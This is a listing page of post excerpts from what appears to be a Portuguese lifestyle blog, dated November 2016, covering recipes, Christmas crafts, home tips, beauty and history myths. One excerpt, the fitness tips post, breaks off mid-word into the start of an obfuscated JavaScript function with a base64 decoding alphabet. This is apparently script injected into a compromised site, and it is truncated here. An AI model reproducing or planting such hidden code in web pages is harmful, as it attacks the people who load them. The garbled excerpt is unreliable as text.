Nov 30, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Sugestões
Sopa de Cenoura e Espinafres (para 6 pessoas) Ingredientes para 6 pessoas: 3 cenouras 1 curgete ½ couve-flor 1 cebola 2 dentes de alhos 150g espinafres 3. sopa azeite q.b. sal Preparação: Descasque e corte os vegetais em pedaços. Pode deixar a casca da curgete....
Nov 29, 2016 | À descoberta
Insólito – 5 episódios da História de Portugal que não aconteceram bem assim 1- O milagre do pão transformado em rosas nunca existiu A mulher do rei D. Dinis, D. Isabel de Aragão (1270-1336), tornou-se célebre para sua imensa bondade. Ora, conta a lenda que o...
Nov 28, 2016 | À descoberta, Dicas úteis
7 cores de verniz que estão na moda este Inverno Prepare-se para descobrir as 7 cores de verniz que estão na moda este Inverno. Nós mulheres, assumidamente vaidosas como somos não resistimos a a mimar as nossas unhas com os vernizes mais giros. Por isso veja com...
Nov 27, 2016 | À descoberta, Faça você mesmo
8 decorações de Natal para fazer em família O Natal está a chegar por isso partilho consigo estas 8 decorações de Natal para fazer em família. Eu adoro tudo no Natal: a árvore, as luzes, os enfeites,os embrulhos coloridos. É um momento mágico onde a família se junta...
Nov 26, 2016 | Dicas úteis, Equilíbrio, Faça você mesmo, Receitas, Saúde e bem estar
Duas sobremesas doces para todos Bolachas de Amêndoa e Mirtilos Ingredientes para 25 bolachas: 200 g flocos de aveia 200 g amêndoa 2 c. sopa mel 1 c. chá fermento em pó 1 ovo batido 3 c. sopa óleo vegetal 2 c. chá essência baunilha q.b. mirtilos 4 nozes Preparação:...
Nov 22, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Zen Energy
Estar em boa forma todo o ano – 8 dicas O verão é sinónimo de praia, sol, amigos, família e, claro, grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Nov 19, 2016 | À descoberta, Dicas úteis, Em Alta
7 dicas baratas para ter a sua casa quente no Inverno O frio chegou. Por isso vou partilhar consigo 7 dicas baratas para ter a sua casa quente no Inverno. Garanto que vai sentir-se muito mais quentinha depois de as ver e usá-las na sua casa. A primeira dica diz...
Nov 18, 2016 | À descoberta, Dicas úteis
9 usos surpreendentes do azeite Nós, os portugueses, somos dos povos que mais usam o azeite na cozinha. Eu acuso-me: só de pensar num belo pedaço de pão quentinho mergulhado numa boa noz de azeite e vinagre balsâmico fico com água na boca! Também adora? O que ainda...
Nov 16, 2016 | Dicas úteis, Em Alta, Saúde e bem estar
10 regras para uma casa mais saudável Sabe como prevenir que os eletrodomésticos, as telecomunicações, os elementos decorativos, os materiais de construção ou as radiações do exterior prejudiquem a saúde e o bem-estar em sua casa? Conheça estas 10 regras para uma casa...
Nov 15, 2016 | À descoberta, Dicas úteis, Equilíbrio, Estilo e beleza
3 testes caseiros para saber se está a perder cabelo em excesso A queda de cabelo é diagnosticada em clínica. Mas pode sempre tirar as suas primeiras conclusões em casa. A médica tricologista Fátima Garcês partilha alguns testes caseiros para saber se está a perder...
